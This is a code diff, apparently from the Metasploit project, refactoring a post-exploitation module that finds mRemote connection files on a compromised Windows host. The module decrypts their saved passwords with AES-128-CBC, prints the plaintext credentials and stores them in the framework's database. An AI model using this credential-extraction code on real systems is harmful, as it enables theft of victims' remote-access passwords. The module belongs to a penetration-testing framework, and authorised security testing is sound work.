10
10
require 'msf/core/auxiliary/report'
11
11
12
12
class Metasploit3 < Msf ::Post
13
+ include Msf ::Post ::File
13
14
include Msf ::Post ::Windows ::UserProfiles
14
15
include Msf ::Auxiliary ::Report
15
16
16
-
17
17
def initialize ( info = { } )
18
18
super ( update_info ( info ,
19
19
'Name' => 'Windows Gather mRemote Saved Password Extraction' ,
@@ -49,19 +49,17 @@ def run
49
49
end
50
50
51
51
def get_xml ( path )
52
- condata = ""
52
+ print_status ( "Looking for #{ path } " )
53
53
begin
54
- xmlexists = client . fs . file . stat ( path )
55
- connections = client . fs . file . new ( path , 'r' )
56
- until connections . eof
57
- condata << connections . read
54
+ if file_exist? ( path )
55
+ condata = read_file ( path )
56
+ parse_xml ( condata )
57
+ print_status ( "Finished processing #{ path } " )
58
58
end
59
- parse_xml ( condata )
60
- print_status ( "Finished processing #{ path } " )
61
59
rescue Rex ::Post ::Meterpreter ::RequestError
62
60
print_status ( "The file #{ path } either could not be read or does not exist" )
61
+ return
63
62
end
64
-
65
63
end
66
64
67
65
def parse_xml ( data )
@@ -75,17 +73,12 @@ def parse_xml(data)
75
73
user = node . attributes [ 'Username' ]
76
74
domain = node . attributes [ 'Domain' ]
77
75
epassword = node . attributes [ 'Password' ]
78
- next if epassword == nil or epassword == ""
76
+ next if epassword == nil || epassword == ""
77
+
79
78
decoded = epassword . unpack ( "m*" ) [ 0 ]
80
- iv = decoded . slice! ( 0 , 16 )
81
- pass = decrypt ( decoded , @secret , iv , "AES-128-CBC" )
79
+ iv = decoded . slice! ( 0 , 16 )
80
+ pass = decrypt ( decoded , @secret , iv , "AES-128-CBC" )
82
81
print_good ( "HOST: #{ host } PORT: #{ port } PROTOCOL: #{ proto } Domain: #{ domain } USER: #{ user } PASS: #{ pass } " )
83
- user = "#{ domain } \\ #{ user } " unless domain . nil? or domain . empty?
84
- if session . db_record
85
- source_id = session . db_record . id
86
- else
87
- source_id = nil
88
- end
89
82
90
83
service_data = {
91
84
address : host ,
@@ -104,7 +97,7 @@ def parse_xml(data)
104
97
username : user
105
98
}
106
99
107
- unless domain . blank ?
100
+ if domain . present ?
108
101
credential_data [ :realm_key ] = Metasploit ::Model ::Realm ::Key ::ACTIVE_DIRECTORY_DOMAIN
109
102
credential_data [ :realm_value ] = domain
110
103
end
@@ -115,15 +108,14 @@ def parse_xml(data)
115
108
credential_core = create_credential ( credential_data )
116
109
117
110
# Assemble the options hash for creating the Metasploit::Credential::Login object
118
- login_data = {
111
+ login_data = {
119
112
core : credential_core ,
120
113
status : Metasploit ::Model ::Login ::Status ::UNTRIED
121
114
}
122
115
123
116
# Merge in the service data and create our Login
124
117
login_data . merge! ( service_data )
125
- login = create_credential_login ( login_data )
126
-
118
+ create_credential_login ( login_data )
127
119
end
128
120
end
129
121
0 commit comments